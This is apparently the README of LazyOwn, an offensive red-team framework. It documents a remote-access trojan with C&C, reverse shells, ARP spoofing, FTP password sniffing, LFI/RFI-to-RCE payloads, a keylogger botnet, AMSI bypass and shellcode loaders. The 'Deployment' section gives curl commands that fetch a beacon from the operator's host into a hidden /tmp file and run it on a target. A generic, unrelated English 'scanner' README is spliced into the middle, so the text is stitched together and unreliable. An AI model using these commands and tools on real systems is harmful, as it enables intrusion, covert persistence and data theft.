## Usare il Lazy PATH Hijacking
Verrà creato un file in /tmp con il nome binary_name impostato nel payload, inizializzato con gzip in memoria, e utilizzando bash nel payload. Per impostare il payload dal JSON, usare il comando payload per eseguire. Usare:```sh
lazypathhijacking

LazyOwn RAT è uno strumento di amministrazione remota semplice ma potente. Dispone di una funzione di screenshot che cattura lo schermo del server, un comando di upload che ci consente di caricare file sulla macchina compromessa e una modalità C&C in cui è possibile inviare comandi al server. Opera in due modalità: modalità client e modalità server. Non c'è offuscamento e il RAT è basato su BasicRat. Puoi trovarlo su GitHub all'indirizzo https://github.com/awesome-security/basicRAT e su https://github.com/hash3liZer/SillyRAT. Sebbene quest'ultimo sia molto più completo, volevo semplicemente implementare la cattura di screenshot, il caricamento di file e l'invio di comandi. Forse in futuro aggiungerò la funzionalità di visualizzazione della webcam, ma questo verrà dopo.```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

## Modalità d'uso Lazy Meta Extract0r
LazyMeta Extract0r è uno strumento progettato per estrarre metadati da vari tipi di file, inclusi PDF, DOCX, file OLE (come DOC e XLS) e diversi formati di immagine (JPG, JPEG, TIFF). Questo strumento attraverserà una directory specificata, cercherà file con estensioni compatibili, estrarrà i metadati e li salverà in un file di output.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user

Un metodo di crittografia che ci consente sia di crittografare i file sia di decrittografarli se possediamo la chiave, naturalmente.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
## Uso modo LazyNmap

L'uso di Lazynmap fornisce uno script automatizzato per un target, in questo caso, 127.0.0.1, utilizzando Nmap. Lo script richiede permessi amministrativi tramite sudo. Include anche un modulo di network discovery per identificare cosa è presente nel segmento IP in cui ti trovi. Inoltre, lo script può ora essere richiamato senza parametri usando l'alias nmap o con il comando run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
Scopri la rivoluzione nell'automazione delle attività di pentesting con il LazyOwn GPT One Liner CLI Assistant! Questo incredibile script fa parte della suite di strumenti LazyOwn, progettato per rendere la tua vita da pentester più efficiente e produttiva.
Caratteristiche principali:
Automazione intelligente: Sfrutta la potenza di Groq e modelli avanzati di linguaggio naturale per generare comandi precisi ed efficienti in base alle tue esigenze specifiche. Interfaccia user-friendly: Con un semplice prompt, l'assistente genera ed esegue script one-liner, riducendo drasticamente il tempo e lo sforzo necessari per creare comandi complessi. Miglioramento continuo: Trasforma e ottimizza continuamente la sua base di conoscenze per fornirti le migliori soluzioni, adattandosi a ogni situazione. Debug semplificato: Abilita la modalità debug per ottenere informazioni dettagliate a ogni passaggio, facilitando l'identificazione e la correzione degli errori. Integrazione senza interruzioni: Funziona senza sforzo all'interno del tuo workspace, sfruttando la potenza dell'API Groq per fornire risposte rapide e accurate. Sicurezza e controllo:
Gestione sicura degli errori: Rileva e risponde intelligentemente agli errori di esecuzione, garantendoti il pieno controllo su ogni comando generato. Esecuzione controllata: Prima di eseguire qualsiasi comando, richiede la tua conferma, dandoti la tranquillità di sapere esattamente cosa viene eseguito sul tuo sistema. Configurazione semplice:
Configura la tua chiave API in pochi secondi e inizia a goderti tutti i vantaggi offerti dal LazyOwn GPT One Liner CLI Assistant. È disponibile una guida di avvio rapido per aiutarti a configurare e massimizzare il potenziale di questo potente strumento.
Ideale per pentester e sviluppatori:
Ottimizza i tuoi processi: Semplifica e accelera la generazione di comandi nei tuoi audit di sicurezza. Apprendimento continuo: La base di conoscenze viene costantemente aggiornata e migliorata, fornendoti sempre le ultime best practice e soluzioni. Con il LazyOwn GPT One Liner CLI Assistant, trasforma il tuo modo di lavorare, rendendolo più veloce, efficiente e sicuro. Smetti di perdere tempo in attività ripetitive e complesse, e concentrati su ciò che conta davvero: scoprire e risolvere le vulnerabilità!
Unisciti alla rivoluzione del pentesting con LazyOwn e porta la tua produttività al livello successivo!
[?] Usage: python lazygptcli.py --prompt "" [--debug]
[?] Options:
--prompt "The prompt for the programming task (required)." --debug, -d "Enables debug mode to display debug messages." --transform "Transforms the original knowledge base into an enhanced base using Groq." [?] Ensure you configure your API key before running the script: export GROQ_API_KEY=<your_api_key> [->] Visit: https://console.groq.com/docs/quickstart (not a sponsored link)
Requirements:
Python 3.x A valid Groq API key Steps to Obtain the Groq API Key: Visit Groq Console (https://console.groq.com/docs/quickstart) to register and obtain an API key.```sh export GROQ_API_KEY=<tu_api_key> python3 lazygptcli.py --prompt "" [--debug]

## Utilizzo di lazyown_bprfuzzer.py
Fornire gli argomenti come specificato dalle richieste dello script: Lo script richiederà i seguenti argomenti:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA]
[--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE]
--url: L'URL a cui verrà inviata la richiesta (obbligatorio).
--method: Il metodo HTTP da utilizzare, come GET o POST (opzionale, predefinito: GET).
--headers: Le intestazioni della richiesta in formato JSON (opzionale, predefinito: {}).
--params: I parametri URL in formato JSON (opzionale, predefinito: {}).
--data: I dati del form in formato JSON (opzionale, predefinito: {}).
--json_data: I dati JSON per la richiesta in formato JSON (opzionale, predefinito: {}).
--proxy_port: La porta per il proxy interno (opzionale, predefinito: 8080).
-w, --wordlist: Il percorso della wordlist per la modalità fuzzing (opzionale).
-hc, --hide_code: Il codice di stato HTTP da nascondere nell'output (opzionale).
Assicurarsi di fornire gli argomenti obbligatori per garantire che lo script funzioni correttamente.```sh
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Form 2: Utilizzo avanzato
Se desideri sfruttare le funzionalità avanzate dello script, come il replay delle richieste o il fuzzing, segui questi passaggi:
Replay delle richieste:
Per utilizzare la funzionalità di replay delle richieste, fornisci gli argomenti come indicato in precedenza. Durante l'esecuzione, lo script chiederà se desideri ripetere la richiesta. Inserisci 'y' per ripetere o 'n' per terminare il repeater. Fuzzing:
Per utilizzare la funzionalità di fuzzing, assicurati di fornire una wordlist con l'argomento -w o --wordlist.
Lo script sostituirà la parola LAZYFUZZ nell'URL e in altri dati con le parole della wordlist fornita.
Durante l'esecuzione, lo script mostrerà i risultati di ogni iterazione di fuzzing.
Questi sono i modi base e avanzati per utilizzare lo script lazyburp.py. A seconda delle tue esigenze, puoi scegliere il metodo più adatto alla tua situazione specifica.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt
-hc 501
| `-s` | `--server` | Server URL (default: `http://localhost:8080`) |
| `-t` | `--token` | Authentication token |
| `-o` | `--output` | Output file path |
| `-f` | `--format` | Output format: `json`, `yaml`, `table` |
| `-v` | `--verbose` | Enable verbose output |
| `-q` | `--quiet` | Suppress non-essential output |
| `-h` | `--help` | Show help message |
| `-V` | `--version` | Show version information |
### Examples
```bash
# Basic scan
scanner scan --target example.com
# Scan with custom output format
scanner scan --target example.com --format json --output results.json
# Authenticated scan
scanner scan --target example.com --token YOUR_API_TOKEN
# Verbose mode
scanner scan --target example.com --verbose
The tool can be configured using a configuration file located at ~/.config/scanner/config.yaml:
server:
url: "http://localhost:8080"
timeout: 30
scan:
threads: 10
depth: 3
exclude:
- "*.example.com"
- "internal.local"
output:
format: "json"
directory: "./results"
| Variable | Description |
|---|---|
SCANNER_SERVER_URL | Server URL |
SCANNER_TOKEN | Authentication token |
SCANNER_OUTPUT_DIR | Output directory |
SCANNER_LOG_LEVEL | Log level (debug, info, warn, error) |
Run the tool using Docker:
# Build the image
docker build -t scanner:latest .
# Run the container
docker run --rm -it scanner:latest scan --target example.com
# Run with volume mount
docker run --rm -it -v $(pwd)/results:/app/results scanner:latest scan --target example.com --output /app/results/output.json
version: '3.8'
services:
scanner:
build: .
volumes:
- ./results:/app/results
environment:
- SCANNER_SERVER_URL=http://scanner-api:8080
- SCANNER_LOG_LEVEL=info
depends_on:
- scanner-api
scanner-api:
image: scanner-api:latest
ports:
- "8080:8080"
Connection refused
If you encounter a "connection refused" error, ensure the server is running:
# Check if the server is running
curl http://localhost:8080/health
# Start the server
scanner server start
Authentication failed
Verify your token is valid and has not expired:
# Check token validity
scanner auth verify --token YOUR_API_TOKEN
Permission denied
Ensure you have the necessary permissions to write to the output directory:
# Check directory permissions
ls -la ./results
# Fix permissions
chmod 755 ./results
Enable debug mode for detailed logging:
scanner scan --target example.com --verbose --log-level debug
If you encounter issues not covered here, please:
We welcome contributions! Please see CONTRIBUTING.md for guidelines.
# Clone the repository
git clone https://github.com/example/scanner.git
cd scanner
# Install dependencies
pip install -r requirements.txt
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest tests/
# Run linter
flake8 scanner/
This project is licensed under the MIT License - see the LICENSE file for details.

Nota: per utilizzare il dizionario, eseguire il seguente comando all'interno di /usr/share/seclists:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
Questo modulo viene utilizzato per cercare password sui server FTP attraverso la rete. Alcuni potrebbero dire che FTP non è più utilizzato, ma rimarreste sorpresi dagli ambienti di infrastruttura critica che ho visto con enormi servizi FTP in esecuzione sui loro server. :)```sh assign device eth0 run lazyftpsniff

## Uso modalità LazyReverseShell
Ascolta```sh
nc -nlvp 1337 #o el puerto que escojamos

poi sulla macchina vittima```sh ./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

## Utilizzo di Lazy Curl in modalità Recon
Il modulo si trova nella directory modules e viene utilizzato come segue:```sh
chmod +x lazycurl.sh
e poi```sh ./lazycurl.sh --mode GET --url http://10.10.10.10
Utilizzo.
GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10
POST:```sh ./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
Caricamento file:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
modalità bruteforce wordlist:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
Assicurati di regolare i parametri in base alle tue esigenze e che i valori forniti per le opzioni siano validi per ciascun caso.
## Utilizzo della modalità ARPSpoofing
Lo script fornisce un attacco di ARP spoofing utilizzando Scapy. Nel payload, devi impostare lhost, rhost e il dispositivo che utilizzerai per eseguire l'ARP spoofing.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing
Questo script fornisce una vista a raggi X del sistema in questione in cui viene eseguito lo strumento, offrendo informazioni sulla sua configurazione e sul suo stato.
```sh
run lazygath
## Utilizzo della modalità Lazy Own LFI RFI 2 RCE
La modalità LFI RFI 2 RCE è progettata per testare alcuni dei payload più noti contro i parametri specificati in payload.json. Ciò consente una valutazione completa delle vulnerabilità di Local File Inclusion (LFI), Remote File Inclusion (RFI) e Remote Code Execution (RCE) nel sistema di destinazione.
```sh
payload
run lazylfi2rce
La modalità sniffer consente di catturare il traffico di rete attraverso le interfacce utilizzando l'opzione -i, che è obbligatoria. Ci sono molte altre impostazioni opzionali che possono essere regolate secondo necessità.
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface
To use the sniffer from the framework, you must configure the device with the command:
esegui lazysniff
oppure semplicemente
sniff```
### Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
```sh
./py2el.sh```
## Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
```sh
esegui lazynetbios```
## Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.
```sh
payload
run lazybotnet```
## Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
### Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
## License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
## Acknowledgments ✌
A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive
### Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>
### Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>
### Thanks to josefcohernandez
For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.
### Thanks to EQSTLab (via yym8538)
For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.
## BlackSandBeacon — Linux BOF
**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.
### What is Linux BOF?
On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:
- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
(`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
`BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
kernel interaction without libc linking.
### Deployment via LazyOwn
```bash
# 1. Compila e prepara il beacon
(LazyOwn) > blacksandbeacon
# 2. Consegna al target (il comando viene eseguito sul target)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &
# 3. Compila e prepara il loader BOF
(LazyOwn) > blacksandbeacon_bof
# 4. Consegna il loader BOF a una sessione attiva
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```
### Porting a Windows BOF to Linux
```c
// Sostituisci le chiamate all'API Win32 con syscall dirette o equivalenti libc.
// L'API datap rimane identica.
#include "beacon.h"
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
char *target = BeaconDataExtract(&parser, NULL);
// Linux: usa syscall(SYS_open, ...) invece di CreateFile
BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```
Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`
### Adoption gap this closes
| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |
## Related Projects
LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).
### Lightweight beacons (C / ASM)
Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:
- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.
### Lightweight C2 frameworks
Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:
- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.
### AI / orchestration
Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:
- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.
### Loaders, shellcode runners and post-exploitation
Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:
- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.
### Defensive bypass / instrumentation
- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.
### Exploits and CVE PoCs
LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:
- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.
> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.
## Abstract
LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.
## Lazyducky_digispark

Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.
This method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device.
The method performs the following actions:
1. Checks for the presence of Arduino CLI and installs it if not available.
2. Configures Arduino CLI for Digispark if not already configured.
3. Generates a reverse shell payload and prepares the sketch for Digispark.
4. Compiles the prepared Digispark sketch using Arduino CLI.
5. Checks for the presence of Micronucleus and installs it if not available.
6. Uploads the compiled .hex file to the Digispark device using Micronucleus.
Args:
line (str): Command line input provided by the user, which may contain additional parameters.
Returns:
None: The function does not return any value but may modify the state of the system
by executing commands.
## Star History
<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
<img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
</picture>
</a>
# Documentation by readmeneitor.py
Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.
## ReadMenator now have a repository
[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)
# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
---
<!-- START UTILS -->
# LazyOwn Command Reference
Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.
## Table of Contents
- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)
---
## 01. Reconnaissance
### `alterx`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'
### `apache_users`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs enumeration of users from a target system using `apache-users`.
### `binarycheck`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs various checks on a selected binary to gather information and protections.
### `cve`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Search for a CVE using the CIRCL API.
### `dig`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Executes the `dig` command to query DNS information.
### `dnschef`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the DNSChef tool to monitor DNS queries and intercept responses.
### `dnsenum`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.
### `dnsmap`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.
### `dnstool_py`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the dnstool.py tool to modify Active Directory-integrated DNS records.
### `estorides_import`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Import Estorides-discovered entities into LazyOwn database and scope.
### `estorides_loop`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Run the bidirectional Estorides <-> LazyOwn feedback loop.
### `estorides_seed`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.
### `estorides_surface`
**Phase:** recon | **Source:** `cli/commands/estorides.py`
Show the combined active + passive attack surface.
### `finalrecon`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.
### `getcap`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieve and display file capabilities on the system.
### `gospider`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Try gospider for web spidering.
### `graudit`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the graudit command to perform a static code analysis with the specified options.
### `httprobe`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.
### `ipinfo`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Retrieves detailed information about an IP address using the ARIN API.
### `launchpad`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Searches for packages on Launchpad based on the provided search term and extracts codenames from the results. The distribution is extracted from the search term.
### `metabigor`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes Metabigor commands for OSINT and scanning tasks with guided input or predefined arguments.
### `openssl_sclient`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Uses `openssl s_client` to connect to a specified host and port, allowing for testing and debugging of SSL/TLS connections.
### `ping`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Perform a ping to check host availability and infer the operating system based on TTL values.
### `ports`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Lists all open TCP and UDP ports on the local system.
### `proxy`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Runs a small proxy server to modify HTTP requests on the fly.
### `recon`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Performs reconnaissance on a specified self.params['domain'] using crt.sh (the target must be visible on internet), pup, httprobe, and EyeWitness.
### `serveralive2`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Command serveralive2: Uses Impacket to connect to a remote MSRPC interface and retrieves the server bindings.
### `sherlock`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes the Sherlock tool to find usernames across social networks.
### `sslscan`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Run an SSL scan on the specified remote host.
### `surface`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Render the network surface graph in the terminal.
### `tcpdump_capture`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Starts packet capture using `tcpdump` on the specified interface.
### `tcpdump_icmp`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Starts `tcpdump` to capture ICMP traffic on the specified interface.
### `trace`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Traces the DNS information for a given self.params['domain'] using the FreeDNS service. (using freedns IP Not your IP)
### `trufflehog`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Executes trufflehog to search for secrets in a given Git repository URL.
### `tshark_analyze`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Analyzes a packet capture file using `tshark` based on the provided remote host IP.
### `waybackmachine`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Fetch URLs from the Wayback Machine for a given website.
### `whatweb`
**Phase:** recon | **Source:** `cli/commands/recon.py`
Performs a web technology fingerprinting scan using `whatweb`.
### `windapsearchscrapeusers`
**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`
Extracts usernames from a JSON output generated by go-windapsearch and appends them
## 02. Scanning & Enumeration
### `ad_ldap_enum`
**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`
Executes ad-ldap-enum to enumerate Active Directory objects (users, groups, computers)
### `allin`
**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`
Execute the AlliN.py tool with various scan modes and parameters.
### `amass`
**Phase:** enum | **Source:** `cli/commands/scan.py`
Executes Amass to perform a passive enumeration on a given domain.
### `arjun`
**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`
Executes an Arjun scan on the specified URL for parameter discovery.
### `arpscan`
**Phase:** enum | **Source:** `cli/commands/scan.py`
Executes an ARP scan using `arp-scan`.
### `batchnmap`
**Phase:** enum | **Source:** `cli/commands/recon.py`
Runs the internal module `modules/lazynmap.sh` for multiple Nmap scans.
### `bbot`
**Phase:** enum | **Source:** `cli/commands/scan.py`
Executes a BBOT scan to perform various reconnaissance tasks.
### `blazy`
**Phase:** enum | **Source:** `cli/commands/scan_migrated.py`
---
[Read more](https://github.com/grisuno/lazyown)
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary e qualsiasi run_command il cui corpo corrisponde a rm -rf / exfil / wipe / encrypt-file ora richiedono un argomento esplicito confirm=true. |
| Previene azioni distruttive accidentali dai cicli autonomi. |
